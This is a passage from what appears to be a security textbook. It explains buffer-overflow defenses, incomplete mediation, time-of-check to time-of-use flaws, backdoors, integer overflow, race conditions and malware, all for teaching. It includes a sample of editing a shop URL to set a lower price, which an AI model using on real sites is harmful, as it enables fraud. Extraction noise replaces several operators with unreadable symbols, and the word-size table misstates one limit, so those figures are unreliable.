Language Features Two features you may have noticed about attacks involving buffer overflows are that the attacker can write directly to particular memory addresses and that the language or compiler allows inappropriate operations on certain data types.

Anthony (C.A.R.) Hoare [HOA81] comments on the relationship between language and design:

Programmers are always surrounded by complexity; we cannot avoid it. Our applica- tions are complex because we are ambitious to use our computers in ever more sophis- ticated ways. Programming is complex because of the large number of conflicting

150 Chapter 3 Programs and Programming

objectives for each of our programming projects. If our basic tool, the language in which we design and code our programs, is also complicated, the language itself becomes part of the problem rather than part of its solution.

Some programming languages have features that preclude overflows. For example, languages such as Java, .NET, Perl, and Python generate code to check bounds before storing data. The unchecked languages C, C++, and assembler language allow largely unlimited program access. To counter the openness of these languages, compiler writers have developed extensions and libraries that generate code to keep programs in check.

Code Analyzers Software developers hope for a simple tool to find security errors in programs. Such a tool, called a static code analyzer, analyzes source code to detect unsafe conditions. Although such tools are not, and can never be, perfect, several good ones exist. Kendra Kratkiewicz and Richard Lippmann [KRA05] and the US-CERT Build Security In web- site at contain lists of static code analyzers.

Separation Another direction for protecting against buffer overflows is to enforce containment: separating sensitive areas from the running code and its buffers and data space. To a certain degree, hardware can separate code from data areas and the operating system.

Stumbling Blocks Because overwriting the stack is such a common and powerful point of attack, protect- ing it becomes a priority.

Refer again to Figure 3-8, and notice that each procedure call adds a new stack frame that becomes a distinct slice of the stack. If our goal is to protect the stack, we can do that by wrapping each stack frame in a protective layer. Such a layer is sometimes called a canary, in reference to canary birds that were formerly taken into underground mines; the canary was more sensitive to limited oxygen, so the miners could notice the canary reacting before they were affected, giving the miners time to leave safely.

In this section we show how some manufacturers have developed cushions to guard against benign or malicious damage to the stack.

In a common buffer overflow stack modification, the program counter is reset to point into the stack to the attack code that has overwritten stack data. In Figure 3-10, the two parameters P1 and P2 have been overwritten with code to which the program counter has been redirected. (Two instructions is too short a set for many stack overflow attacks, so a real buffer overflow attack would involve more data in the stack, but the concept is easier to see with a small stack.)

StackGuard is an approach proposed by Crispin Cowan et al. [COW98] The attacker usually cannot tell exactly where the saved program counter is in the stack, only that there is one at an approximate address. Thus, the attacker has to rewrite not just the stack pointer but also some words around it to be sure of changing the true stack pointer, but this uncertainty to the attacker allows StackGuard to detect likely changes to the program counter. Each procedure includes a prolog code to push values on the stack, set the remainder of the stack frame, and pass control to the called return; then on return,

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 151

some termination code cleans up the stack, reloads registers, and returns. Just below the program counter, StackGuard inserts a canary value to signal modification; if the attacker rewrites the program counter and the added value, StackGuard augments the termination code to detect the modified added value and signal an error before return- ing. Thus, each canary value serves as a protective insert to protect the program counter. These protective inserts are shown in Figure 3-11. The idea of surrounding the return address with a tamper-detecting value is sound, as long as only the defender can gener- ate and verify that value.

Alas, the attack–countermeasure tennis match was played here, as we have seen in other situations such as password guessing: The attacker serves, the defender responds


P3Procedure A P2


Prog Ctr

Stack Ptr



Prog Ctr

Stack Ptr

call B

call C

Procedure C

Procedure B

FIGURE 3-10 Compromised Stack


P3Procedure A P2


Prog Ctr


Stack Ptr



Prog Ctr


Stack Ptr

call B

call C

Procedure C

Procedure B

FIGURE 3-11 Canary Values to Signal Modification

152 Chapter 3 Programs and Programming

with a countermeasure, the attacker returns the ball with an enhanced attack, and so on. The protective canary value has to be something to which the termination code can detect a change, for example, the recognizable pattern 0x0f1e2d3c, which is a num- ber the attacker is unlikely to write naturally (although not impossible). As soon as the attacker discovers that a commercial product looks for a pad of exactly that value, we know what value the attacker is likely to write near the return address. Countering again, to add variety the defender picks random patterns that follow some sequence, such as 0x0f1e2d3c, 0x0f1e2d3d, and so on. In response, the attacker monitors the stack over time to try to predict the sequence pattern. The two sides continue to volley modi- fications until, as in tennis, one side fails.

Next we consider a programming flaw that is similar to an overflow: a failure to check and control access completely and consistently.

Incomplete Mediation

Mediation means checking: the process of intervening to confirm an actor’s authoriza- tion before it takes an intended action. In the last chapter we discussed the steps and actors in the authentication process: the access control triple that describes what subject can perform what operation on what object. Verifying that the subject is authorized to perform the operation on an object is called mediation. Incomplete mediation is a security problem that has been with us for decades: Forgetting to ask “Who goes there?” before allowing the knight across the castle drawbridge is just asking for trouble. In the same way, attackers exploit incomplete mediation to cause security problems.


Consider the following URL. In addition to a web address, it contains two parameters, so you can think of it as input to a program: parm1=(808)555-1212&parm2=2015Jan17

As a security professional trying to find and fix problems before they occur, you might examine the various parts of the URL to determine what they mean and how they might be exploited. For instance, the parameters parm1 and parm2 look like a telephone number and a date, respectively. Probably the client’s (user’s) web browser enters those two values in their specified format for easy processing on the server’s side.

But what would happen if parm2 were submitted as 1800Jan01? Or 1800Feb30? Or 2048Min32? Or 1Aardvark2Many? Something in the program or the system with which it communicates would likely fail. As with other kinds of programming errors, one pos- sibility is that the system would fail catastrophically, with a routine’s failing on a data type error as it tried to handle a month named “Min” or even a year (like 1800) that was out of expected range. Another possibility is that the receiving program would continue to execute but would generate a very wrong result. (For example, imagine the amount of interest due today on a billing error with a start date of 1 Jan 1800.) Then again, the processing server might have a default condition, deciding to treat 1Aardvark2Many as 21 July 1951. The possibilities are endless.

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 153

A programmer typically dismisses considering bad input, asking why anyone would enter such numbers. Everybody knows there is no 30th of February and, for certain applications, a date in the 1800s is ridiculous. True. But ridiculousness does not alter human behavior. A person can type 1800 if fingers slip or the typist is momentarily distracted, or the number might have been corrupted during transmission. Worse, just because something is senseless, stupid, or wrong doesn’t prevent people from doing it. And if a malicious person does it accidentally and finds a security weakness, other people may well hear of it. Security scoundrels maintain a robust exchange of find- ings. Thus, programmers should not assume data will be proper; instead, programs should validate that all data values are reasonable before using them.

Validate All Input

One way to address potential problems is to try to anticipate them. For instance, the pro- grammer in the examples above may have written code to check for correctness on the client’s side (that is, the user’s browser). The client program can search for and screen out errors. Or, to prevent the use of nonsense data, the program can restrict choices to valid ones only. For example, the program supplying the parameters might have solicited them by using a drop-down box or choice list from which only the twelve conventional months could have been selected. Similarly, the year could have been tested to ensure a reasonable value (for example, between 2000 and 2050, according to the application) and date num- bers would have to be appropriate for the months in which they occur (no 30th of Febru- ary, for example). Using such verification, the programmer may have felt well insulated from the possible problems a careless or malicious user could cause.

Guard Against Users’ Fingers

However, the application is still vulnerable. By packing the result into the return URL, the programmer left these data fields in a place where the user can access (and modify) them. In particular, the user can edit the URL line, change any parameter values, and send the revised line. On the server side, the server has no way to tell if the response line came from the client’s browser or as a result of the user’s editing the URL directly. We say in this case that the data values are not completely mediated: The sensitive data (namely, the parameter values) are in an exposed, uncontrolled condition.

Unchecked data values represent a serious potential vulnerability. To demonstrate this flaw’s security implications, we use a real example; only the name of the vendor has been changed to protect the guilty. Things, Inc., was a very large, international ven- dor of consumer products, called Objects. The company was ready to sell its Objects through a web site, using what appeared to be a standard e-commerce application. The management at Things decided to let some of its in-house developers produce a web site with which its customers could order Objects directly from the web.

To accompany the web site, Things developed a complete price list of its Objects, including pictures, descriptions, and drop-down menus for size, shape, color, scent, and

Users make errors from ignorance, misunderstanding, distraction; user errors should not cause program failures.

154 Chapter 3 Programs and Programming

any other properties. For example, a customer on the web could choose to buy 20 of part number 555A Objects. If the price of one such part were $10, the web server would correctly compute the price of the 20 parts to be $200. Then the customer could decide whether to have the Objects shipped by boat, by ground transportation, or sent elec- tronically. If the customer were to choose boat delivery, the customer’s web browser would complete a form with parameters like these: &qy=20&price=10&ship=boat&shipcost=5&total=205

So far, so good; everything in the parameter passing looks correct. But this proce- dure leaves the parameter statement open for malicious tampering. Things should not need to pass the price of the items back to itself as an input parameter. Things presum- ably knows how much its Objects cost, and they are unlikely to change dramatically since the time the price was quoted a few screens earlier.

A malicious attacker may decide to exploit this peculiarity by supplying instead the following URL, where the price has been reduced from $205 to $25: &qy=20&price=1&ship=boat&shipcost=5&total=25

Surprise! It worked. The attacker could have ordered Objects from Things in any quan- tity at any price. And yes, this code was running on the web site for a while before the problem was detected.

From a security perspective, the most serious concern about this flaw was the length of time that it could have run undetected. Had the whole world suddenly made a rush to Things’ web site and bought Objects at a fraction of their actual price, Things probably would have noticed. But Things is large enough that it would never have detected a few customers a day choosing prices that were similar to (but smaller than) the real price, say, 30 percent off. The e-commerce division would have shown a slightly smaller profit than other divisions, but the difference probably would not have been enough to raise anyone’s eyebrows; the vulnerability could have gone unnoticed for years. Fortunately, Things hired a consultant to do a routine review of its code, and the consultant quickly found the error.

The vulnerability in this situation is that the customer (computer user) has unmedi- ated access to sensitive data. An application running on the user’s browser maintained the order details but allowed the user to change those details at will. In fact, few of these values should have been exposed in the URL sent from the client’s browser to the server. The client’s application should have specified part number and quantity, but an application on the server’s side should have returned the price per unit and total price.

There is no reason to leave sensitive data under control of an untrusted user.

If data can be changed, assume they have been.

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 155

This web program design flaw is easy to imagine in other settings. Those of us inter- ested in security must ask ourselves, How many similar problems are in running code today? And how will those vulnerabilities ever be found? And if found, by whom?

Complete Mediation

Because the problem here is incomplete mediation, the solution is complete mediation. Remember from Chapter 2 that one of our standard security tools is access control, sometimes implemented according to the reference monitor concept. The three proper- ties of a reference monitor are (1) small and simple enough to give confidence of cor- rectness, (2) unbypassable, and (3) always invoked. These three properties combine to give us solid, complete mediation.

Time-of-Check to Time-of-Use

The third programming flaw we describe also involves synchronization. To improve efficiency, modern processors and operating systems usually change the order in which instructions and procedures are executed. In particular, instructions that appear to be adjacent may not actually be executed immediately after each other, either because of intentionally changed order or because of the effects of other processes in concurrent execution.


Access control is a fundamental part of computer security; we want to make sure that only those subjects who should access an object are allowed that access. Every requested access must be governed by an access policy stating who is allowed access to what; then the request must be mediated by an access-policy-enforcement agent. But an incom- plete mediation problem occurs when access is not checked univer- sally. The time-of-check to time- of-use (TOCTTOU) flaw concerns mediation that is performed with a “bait and switch” in the middle.

To understand the nature of this flaw, consider a person’s buying a sculpture that costs $100. The buyer takes out five $20 bills, carefully counts them in front of the seller, and lays them on the table. Then the seller turns around to write a receipt. While the seller’s back is turned, the buyer takes back one $20 bill. When the seller turns around, the buyer hands over the stack of bills, takes the receipt, and leaves with the sculpture. Between the time the security was checked (counting the bills) and the access occurred (exchanging the sculpture for the bills), a condition changed: What was checked is no longer valid when the object (that is, the sculpture) is accessed.

A similar situation can occur with computing systems. Suppose a request to access a file were presented as a data structure, with the name of the file and the mode of access presented in the structure. An example of such a structure is shown in Figure 3-12.

Between access check and use, data must be protected against change.

156 Chapter 3 Programs and Programming

The data structure is essentially a work ticket, requiring a stamp of authorization; once authorized, it is put on a queue of things to be done. Normally the access control mediator process receives the data structure, determines whether the access should be allowed, and either rejects the access and stops processing or allows the access and for- wards the data structure to the file handler for processing.

To carry out this authorization sequence, the access control mediator would have to look up the file name (and the user identity and any other relevant parameters) in tables. The mediator could compare the names in the table to the file name in the data structure to determine whether access is appropriate. More likely, the mediator would copy the file name into its own local storage area and compare from there. Comparing from the copy leaves the data structure in the user’s area, under the user’s control.

At this point the incomplete mediation flaw can be exploited. While the mediator is checking access rights for the file my_file, the user could change the file name descrip- tor to your_file, the value shown in Figure 3-13. Having read the work ticket once, the mediator would not be expected to reread the ticket before approving it; the mediator would approve the access and send the now-modified descriptor to the file handler.

The problem is called a time-of-check to time-of-use flaw because it exploits the delay between the two actions: check and use. That is, between the time the access was checked and the time the result of the check was used, a change occurred, invalidating the result of the check.

Security Implication

The security implication here is clear: Checking one action and performing another is an example of ineffective access control, leading to confidentiality failure or integrity failure or both. We must be wary whenever a time lag or loss of control occurs, making sure that there is no way to corrupt the check’s results during that interval.

File: my_file

Action: Change byte 4 to A

FIGURE 3-12 File Access Data Structure

File: my_file

Action: Change byte 4 to A

File: your_file

Action: Delete file

FIGURE 3-13 Unchecked Change to Work Descriptor

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 157


Fortunately, there are ways to prevent exploitation of the time lag, again depending on our security tool, access control. Critical parameters are not exposed during any loss of control. The access-checking software must own the request data until the requested action is complete. Another protection technique is to ensure serial integrity, that is, to allow no interruption (loss of control) during the validation. Or the validation routine can initially copy data from the user’s space to the routine’s area—out of the user’s reach—and perform validation checks on the copy. Finally, the validation routine can seal the request data to detect modification. Really, all these protection methods are expansions on the tamperproof criterion for a reference monitor: Data on which the access control decision is based and the result of the decision must be outside the domain of the program whose access is being controlled.

Undocumented Access Point

Next we describe a common programming situation. During program development and testing, the programmer needs a way to access the internals of a module. Perhaps a result is not being computed correctly so the programmer wants a way to interrogate data values during execution. Maybe flow of control is not proceeding as it should and the programmer needs to feed test values into a routine. It could be that the programmer wants a special debug mode to test conditions. For whatever reason the programmer creates an undocumented entry point or execution mode.

These situations are understandable during program development. Sometimes, how- ever, the programmer forgets to remove these entry points when the program moves from development to product. Or the programmer decides to leave them in to facilitate program maintenance later; the programmer may believe that nobody will find the spe- cial entry. Programmers can be naïve, because if there is a hole, someone is likely to find it. See Sidebar 3-4 for a description of an especially intricate backdoor.

SIDEBAR 3-4 Oh Look: The Easter Bunny!

Microsoft’s Excel spreadsheet program, in an old version, Excel 97, had the following feature.

• Open a new worksheet • Press F5 • Type X97:L97 and press Enter • Press Tab • Hold <Ctrl-Shift> and click the Chart Wizard

A user who did that suddenly found that the spreadsheet disappeared and the screen filled with the image of an airplane cockpit! Using the arrow keys, the user could fly a simulated plane through space. With a few more


158 Chapter 3 Programs and Programming


An undocumented access point is called a backdoor or trapdoor. Such an entry can transfer control to any point with any privileges the programmer wanted.

Few things remain secret on the web for long; someone finds an opening and exploits it. Thus, cod- ing a supposedly secret entry point is an opening for unannounced visitors.

Another example of backdoors is used once an outsider has compromised a machine. In many cases an intruder who obtains access to a machine wants to return later, either to extend the raid on the one machine or to use the machine as a jumping-off point for strikes against other machines to which the first machine has access. Sometimes the first machine has privileged access to other machines so the intruder can get enhanced rights when exploring capabilities on these new machines. To facilitate return, the attacker can create a new account on the compromised machine, under a user name and password that only the attacker knows.

Protecting Against Unauthorized Entry

Undocumented entry points are a poor programming practice (but they will still be used). They should be found during rigorous code reviews in a software development process. Unfortunately, two factors work against that ideal.

First, being undocumented, these entry points will not be clearly labeled in source code or any of the development documentation. Thus, code reviewers might fail to rec- ognize them during review.

Second, such backdoors are often added after ordinary code development, during testing or even maintenance, so even the scrutiny of skilled reviewers will not find them. Maintenance people who add such code are seldom security engineers, so they are not used to thinking of vulnerabilities and failure modes. For example, as reported

SIDEBAR 3-4 Continued

keystrokes the user’s screen seemed to follow down a corridor with panels on the sides, and on the panels were inscribed the names of the develop- ers of that version of Excel.

Such a piece of code is called an Easter egg, for chocolate candy eggs filled with toys for children. This is not the only product with an Easter egg. An old version of Internet Explorer had something similar, and other examples can be found with an Internet search. Although most Easter eggs do not appear to be harmful, they raise a serious question: If such complex functionality can be embedded in commercial software products without being stopped by a company’s quality control group, are there other holes, potentially with security vulnerabilities?

Secret backdoors are eventually found. Security cannot depend on such secrecy.

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 159

by security writer Brian Krebs in his blog Krebs on Security, 24 January 2013, security researcher Stefan Viehböck of SEC Consult Vulnerability Labs in Vienna, Austria found that some products from Barracuda Networks (maker of firewalls and other network devices) accepted remote (network) logins from user name “product” and no password. The engineer who inserted the backdoor probably thought the activity was protected by restricting the address range from which the logins would be accepted: Only logins from the range of addresses assigned to Barracuda would succeed. However, the engi- neer failed to consider (and a good security engineer would have caught) that the speci- fied range also included hundreds of other companies.

Thus, preventing or locking these vulnerable doorways is difficult, especially because the people who write them may not appreciate their security implications.

Off-by-One Error

When learning to program, neophytes can easily fail with the off-by-one error: miscalculating the condition to end a loop (repeat while i��n or i�n? repeat until i�n or i�n?) or overlooking that an array of A[0] through A[n] contains n�1 elements.

Usually the programmer is at fault for failing to think correctly about when a loop should stop. Other times the problem is merging actual data with control data (sometimes called metadata or data about the data). For example, a program may manage a list that increases and decreases. Think of a list of unresolved problems in a customer service department: Today there are five open issues, numbered 10, 47, 38, 82, and 55; during the day, issue 82 is resolved but issues 93 and 64 are added to the list. A programmer may create a simple data structure, an array, to hold these issue numbers and may reasonably specify no more than 100 numbers. But to help with managing the numbers, the program- mer may also reserve the first position in the array for the count of open issues. Thus, in the first case the array really holds six elements, 5 (the count), 10, 47, 38, 82, and 55; and in the second case there are seven, 6, 10, 47, 38, 93, 55, 64, as shown in Figure 3-14. A 100-element array will clearly not hold 100 data items plus one count.

(a) First open issues list



10 47 38 82 55

(b) Second open issues list


6 10 47 38 93 6455

FIGURE 3-14 Both Data and Number of Used Cells in an Array

160 Chapter 3 Programs and Programming

In this simple example, the program may run correctly for a long time, as long as no more than 99 issues are open at any time, but adding the 100th issue will cause the program to fail. A similar problem occurs when a procedure edits or reformats input, perhaps changing a one-character sequence into two or more characters (as for example, when the one-character ellipsis symbol “…” available in some fonts is converted by a word processor into three successive periods to account for more limited fonts.) These unanticipated changes in size can cause changed data to no longer fit in the space where it was originally stored. Worse, the error will appear to be sporadic, occurring only when the amount of data exceeds the size of the allocated space.

Alas, the only control against these errors is correct programming: always checking to ensure that a container is large enough for the amount of data it is to contain.

Integer Overflow

An integer overflow is a peculiar type of overflow, in that its outcome is somewhat dif- ferent from that of the other types of overflows. An integer overflow occurs because a storage location is of fixed, finite size and therefore can contain only integers up to a certain limit. The overflow depends on whether the data values are signed (that is, whether one bit is reserved for indicating whether the number is positive or negative). Table 3-1 gives the range of signed and unsigned values for several memory location (word) sizes.

When a computation causes a value to exceed one of the limits in Table 3-1, the extra data does not spill over to affect adjacent data items. That’s because the arithmetic is performed in a hardware register of the processor, not in memory. Instead, either a hardware program exception or fault condition is signaled, which causes transfer to an error handling routine, or the excess digits on the most significant end of the data item are lost. Thus, with 8-bit unsigned integers, 255 � 1 � 0. If a program uses an 8-bit unsigned integer for a loop counter and the stopping condition for the loop is count � 256, then the condition will never be true.

Checking for this type of overflow is difficult, because only when a result overflows can the program determine an overflow occurs. Using 8-bit unsigned values, for exam- ple, a program could determine that the first operand was 147 and then check whether the second was greater than 108. Such a test requires double work: First determine the maximum second operand that will be in range and then compute the sum. Some com- pilers generate code to test for an integer overflow and raise an exception.

TABLE 3-1 Value Range by Word Size

Word Size Signed Values Unsigned Values

8 bits �128 to �127 0 to 255 (28 � 1)

16 bits �32,768 to �32,767 0 to 65,535 (216 � 1)

32 bits �2,147,483,648 to �2,147,483,647 0 to 4,294,967,296 (232 � 1)

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 161

Unterminated Null-Terminated String

Long strings are the source of many buffer overflows. Sometimes an attacker intention- ally feeds an overly long string into a processing program to see if and how the program will fail, as was true with the Dialer program. Other times the vulnerability has an acci- dental cause: A program mistakenly overwrites part of a string, causing the string to be interpreted as longer than it really is. How these errors actually occur depends on how the strings are stored, which is a function of the programming language, application program, and operating system involved.

Variable-length character (text) strings are delimited in three ways, as shown in Fig- ure 3-15. The easiest way, used by Basic and Java, is to allocate space for the declared maximum string length and store the current length in a table separate from the string’s data, as shown in Figure 3-15(a).

Some systems and languages, particularly Pascal, precede a string with an integer that tells the string’s length, as shown in Figure 3-15(b). In this representation, the string “Hello” would be represented as 0x0548656c6c6f because 0x48, 0x65, 0x6c, and 0x6f are the internal representation of the characters “H,” “e,” “l,” and “o,” respectively. The length of the string is the first byte, 0x05. With this representation, string buffer over- flows are uncommon because the processing program receives the length first and can verify that adequate space exists for the string. (This representation is vulnerable to the problem we described earlier of failing to include the length element when planning space for a string.) Even if the length field is accidentally overwritten, the application reading the string will read only as many characters as written into the length field. But the limit for a string’s length thus becomes the maximum number that will fit in the length field, which can reach 255 for a 1-byte length and 65,535 for a 2-byte length.

The last mode of representing a string, typically used in C, is called null terminated, meaning that the end of the string is denoted by a null byte, or 0x00, as shown in Fig- ure 3-15(c). In this form the string “Hello” would be 0x48656c6c6f00. Representing strings this way can lead to buffer overflows because the processing program deter- mines the end of the string, and hence its length, only after having received the entire

(b) Length precedes string

(c) String ends with null

(a) Separate length



Max. len. Curr. len.

20 5 H E L L OL

FIGURE 3-15 Variable-Length String Representations

162 Chapter 3 Programs and Programming

string. This format is prone to misinterpretation. Suppose an erroneous process happens to overwrite the end of the string and its terminating null character; in that case, the application reading the string will continue reading memory until a null byte happens to appear (from some other data value), at any distance beyond the end of the string. Thus, the application can read 1, 100 to 100,000 extra bytes or more until it encounters a null.

The problem of buffer overflow arises in computation, as well. Functions to move and copy a string may cause overflows in the stack or heap as parameters are passed to these functions.

Parameter Length, Type, and Number

Another source of data-length errors is procedure parameters, from web or conventional applications. Among the sources of problems are these:

• Too many parameters. Even though an application receives only three incom- ing parameters, for example, that application can incorrectly write four outgo- ing result parameters by using stray data adjacent to the legitimate parameters passed in the calling stack frame. (The opposite problem, more inputs than the application expects, is less of a problem because the called applications’ outputs will stay within the caller’s allotted space.)

• Wrong output type or size. A calling and called procedure need to agree on the type and size of data values exchanged. If the caller provides space for a two-byte integer but the called routine produces a four-byte result, those extra two bytes will go somewhere. Or a caller may expect a date result as a number of days after 1 January 1970 but the result produced is a string of the form “dd-mmm-yyyy.”

• Too-long string. A procedure can receive as input a string longer than it can handle, or it can produce a too-long string on output, each of which will also cause an overflow condition.

Procedures often have or allocate temporary space in which to manipulate param- eters, so temporary space has to be large enough to contain the parameter’s value. If the parameter being passed is a null-terminated string, the procedure cannot know how long the string will be until it finds the trailing null, so a very long string will exhaust the buffer.

Unsafe Utility Program

Programming languages, especially C, provide a library of utility routines to assist with common activities, such as moving and copying strings. In C the func- tion strcpy(dest, src) copies a string from src to dest, stopping on a null, with the potential to overrun allocated memory. A safer function is strncpy(dest, src, max), which copies up to the null delimiter or max characters, whichever comes first.

Although there are other sources of overflow problems, from these descriptions you can readily see why so many problems with buffer overflows occur. Next, we describe

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 163

several classic and significant exploits that have had a buffer overflow as a significant contributing cause. From these examples you can see the amount of harm that a seem- ingly insignificant program fault can produce.

Race Condition

As the name implies, a race condition means that two processes are competing within the same time interval, and the race affects the integrity or correctness of the computing tasks. For instance, two devices may submit competing requests to the operating system for a given chunk of memory at the same time. In the two-step request process, each device first asks if the size chunk is available, and if the answer is yes, then reserves that chunk for itself. Depending on the timing of the steps, the first device could ask for the chunk, get a “yes” answer, but then not get the chunk because it has already been assigned to the second device. In cases like this, the two requesters “race” to obtain a resource. A race condition occurs most often in an operating system, but it can also occur in multithreaded or cooperating processes.

Unsynchronized Activity

In a race condition or serialization flaw two processes execute concur- rently, and the outcome of the com- putation depends on the order in which instructions of the processes execute.

Imagine an airline reservation system. Each of two agents, A and B, simultaneously tries to book a seat for a passenger on flight 45 on 10 January, for which there is exactly one seat available. If agent A completes the booking before that for B begins, A gets the seat and B is informed that no seats are available. In Figure 3-16 we show a timeline for this situation.

However, you can imagine a situation in which A asks if a seat is available, is told yes, and proceeds to complete the purchase of that seat. Meanwhile, between the time A asks and then tries to complete the purchase, agent B asks if a seat is available. The sys- tem designers knew that sometimes agents inquire about seats but never complete the booking; their clients often choose different itineraries once they explore their options. For later reference, however, the booking software gives each agent a reference number to make it easy for the server to associate a booking with a particular flight. Because A has not completed the transaction before the system gets a request from B, the system tells B that the seat is available. If the system is not designed properly, both agents can complete their transactions, and two passengers will be confirmed for that one seat (which will be uncomfortable, to say the least). We show this timeline in Figure 3-17.

A race condition is difficult to detect because it depends on the order in which two processes execute. But the execution order of the processes can depend on many other things, such as the total load on the system, the amount of available memory space, the priority of each process, or the number and timing of system interrupts to the processes. During testing, and even for a long period of execution, conditions may never cause

Race condition: situation in which program behavior depends on the order in which two procedures execute

164 Chapter 3 Programs and Programming

this particular overload condition to occur. Given these difficulties, programmers can have trouble devising test cases for all the possible conditions under which races can occur. Indeed, the problem may occur with two independent programs that happen to access certain shared resources, something the programmers of each program never envisioned.

Most of today’s computers are configured with applications selected by their owners, tailored specifically for the owner’s activities and needs. These applications, as well as the operating system and device drivers, are likely to be produced by different vendors




Yes Book seatSeat available?

Reservation system

NoSeat available?

FIGURE 3-16 Seat Request and Reservation Example

Reservation system


A YesSeat available? Book seat

B YesSeat available? Book seat

FIGURE 3-17 Overbooking Example

Section 3.1 Unintentional (Nonmalicious) Programming Oversights 165

with different design strategies, development philosophies, and testing protocols. The likelihood of a race condition increases with this increasing system heterogeneity.

Security Implication

The security implication of race conditions is evident from the airline reservation example. A race condition between two processes can cause inconsistent, undesired and therefore wrong, outcomes—a failure of integrity.

A race condition also raised another security issue when it occurred in an old ver- sion of the Tripwire program. Tripwire is a utility for preserving the integrity of files, introduced in Chapter 2. As part of its operation it creates a temporary file to which it writes a log of its activity. In the old version, Tripwire (1) chose a name for the tempo- rary file, (2) checked the file system to ensure that no file of that name already existed, (3) created a file by that name, and (4) later opened the file and wrote results. Wheeler [WHE04] describes how a malicious process can subvert Tripwire’s steps by changing the newly created temporary file to a pointer to any other system file the process wants Tripwire to destroy by overwriting.

In this example, the security implication is clear: Any file can be compromised by a carefully timed use of the inherent race condition between steps 2 and 3, as shown in Figure 3-18. Overwriting a file may seem rather futile or self-destructive, but an attacker gains a strong benefit. Suppose, for example, the attacker wants to conceal which other processes were active when an attack occurred (so a security analyst will not know what program caused the attack). A great gift to the attacker is that of allow- ing an innocent but privileged utility program to obliterate the system log file of process activations. Usually that file is well protected by the sys- tem, but in this case, all the attacker has to do is point to it and let the Tripwire program do the dirty work.

Name free?

Create file F1

Overwrite file F2

Choose file name F1

Name free?

Write to file

Create file F1

(a) Normal Operation

(b) Overwriting Filename Other Than One Checked

Choose file name F1

Change file name to F2

Name free?

Name free?


FIGURE 3-18 File Name Race Condition

Race conditions depend on the order and timing of two different processes, making these errors hard to find (and test for).

166 Chapter 3 Programs and Programming

If the malicious programmer acts too early, no temporary file has yet been created, and if the programmer acts too late, the file has been created and is already in use. But if the programmer’s timing is between too early and too late, Tripwire will innocently write its temporary data over whatever file is pointed at. Although this timing may seem to be a serious constraint, the attacker has an advantage: If the attacker is too early, the attacker can try again and again until either the attack succeeds or is too late.

Thus, race conditions can be hard to detect; testers are challenged to set up exactly the necessary conditions of system load and timing. For the same reason, race condition threats are hard for the attacker to execute. Nevertheless, if race condition vulnerabili- ties exist, they can also be exploited.

The vulnerabilities we have presented here—incomplete mediation, race conditions, time-of-check to time-of-use, and undocumented access points—are flaws that can be exploited to cause a failure of security. Throughout this book we describe other sources of failures because programmers have many process points to exploit and opportunities to create program flaws. Most of these flaws may have been created because the program- mer failed to think clearly and carefully: simple human errors. Occasionally, however, the programmer maliciously planted an intentional flaw. Or, more likely, the assailant found one of these innocent program errors and exploited it for malicious purpose. In the descriptions of program flaws we have pointed out how an attacker could capitalize on the error. In the next section we explain in more detail the harm that malicious code can cause.


In May 2010, researcher Roger Thompson of the antivirus firm AVG detected malicious code at the web site of the U.S. Bureau of Engraving and Printing, a part of the Treasury Department [MCM10]. The site has two particularly popular sections: a description of the design of the newly redesigned U.S. $100 bill and a set of steps for identifying counterfeit currency.

The altered web site contained a hidden call to a web site in the Ukraine, which then attempted to exploit known vulnerabilities in the web site to lodge malicious code on unsuspecting users’ machines. Visitors to the site would download pictures and text, as expected; what visitors couldn’t see, and probably did not expect, was that they also downloaded an additional web code script that invoked code at the Ukrainian site.

The source of the exploit is unknown; some researchers think it was slipped into the site’s tracking tool that tallies and displays the number of visits to a web page. Other researchers think it was introduced in a configuration flaw from the company acting as the Treasury Department’s web site provider.

Two features of this attack are significant. First, U.S. government sites are seldom unwitting propagators of code attacks because administrators strongly defend the sites and make them resistant to attackers. But precisely those characteristics make users more willing to trust these sites to be free of malicious code, so users readily open their windows and download their content, which makes such sites attractive to attackers.

Second, this attack seems to have used the Eleonore attack toolkit [FIS10]. The kit is a package of attacks against known vulnerabilities, some from as long ago as

Section 3.2 Malicious Code—Malware 167

2005, combined into a ready-to-run package. A kind of “click and run” application, the $2000 kit has been around in different versions since 2009. Each kit sold is preconfig- ured for use against only one web site address (although customers can buy additional addresses), so the attacker who bought the kit intended to dispatch the attack specifi- cally through the Treasury web site, perhaps because of its high credibility with users.

As malicious code attacks go, this one was not the most sophisticated, complicated, or devastating, but it illustrates several important features we explore as we analyze malicious code, the topic of this chapter. We also describe some other malicious code attacks that have had a far more serious impact.

Malicious code comes in many forms under many names. In this chapter we explore three of the most popular forms: viruses, Trojan horses, and worms. The distinctions among them are small, and we do not need to classify any piece of code precisely. More important is to learn about the nature of attacks from these three: how they can spread, what harm they can cause, and how they can be controlled. We can then apply this knowledge to other types of malicious code, including code forms that do not yet have popular names.

Malware—Viruses, Trojan Horses, and Worms

Malicious code or rogue programs or malware (short for MALicious softWARE) is the general name for programs or program parts planted by an agent with malicious intent to cause unanticipated or undesired effects. The agent is the program’s writer or distributor. Malicious intent distinguishes this type of code from unintentional errors, even though both kinds can certainly have similar and serious negative effects. This definition also excludes coincidence, in which minor flaws in two benign programs combine for a negative effect. Most faults found in software inspections, reviews, and testing do not qualify as malicious code; their cause is usually unin- tentional. However, unintentional faults can in fact invoke the same responses as intentional malevo- lence; a benign cause can still lead to a disastrous effect.

You may have been affected by malware at one time or another, either because your computer was infected or because you could not access an infected system while its administrators were cleaning up the mess caused by the infection. The malware may have been caused by a worm or a virus or neither; the infection metaphor often seems apt, but the terminology of malicious code is sometimes used imprecisely. Here we distinguish names applied to certain types of malware, but you should focus on methods and impacts, instead of names. That which we call a virus by any other name would smell as vile.

A virus is a program that can replicate itself and pass on malicious code to other nonmalicious programs by modifying them. The term “virus” was coined because the affected program acts like a biological virus: It infects other healthy subjects by attaching itself to the program and either destroying the program or coexisting with it.

Malicious code can be directed at a specific user or class of users, or it can be for anyone.

168 Chapter 3 Programs and Programming

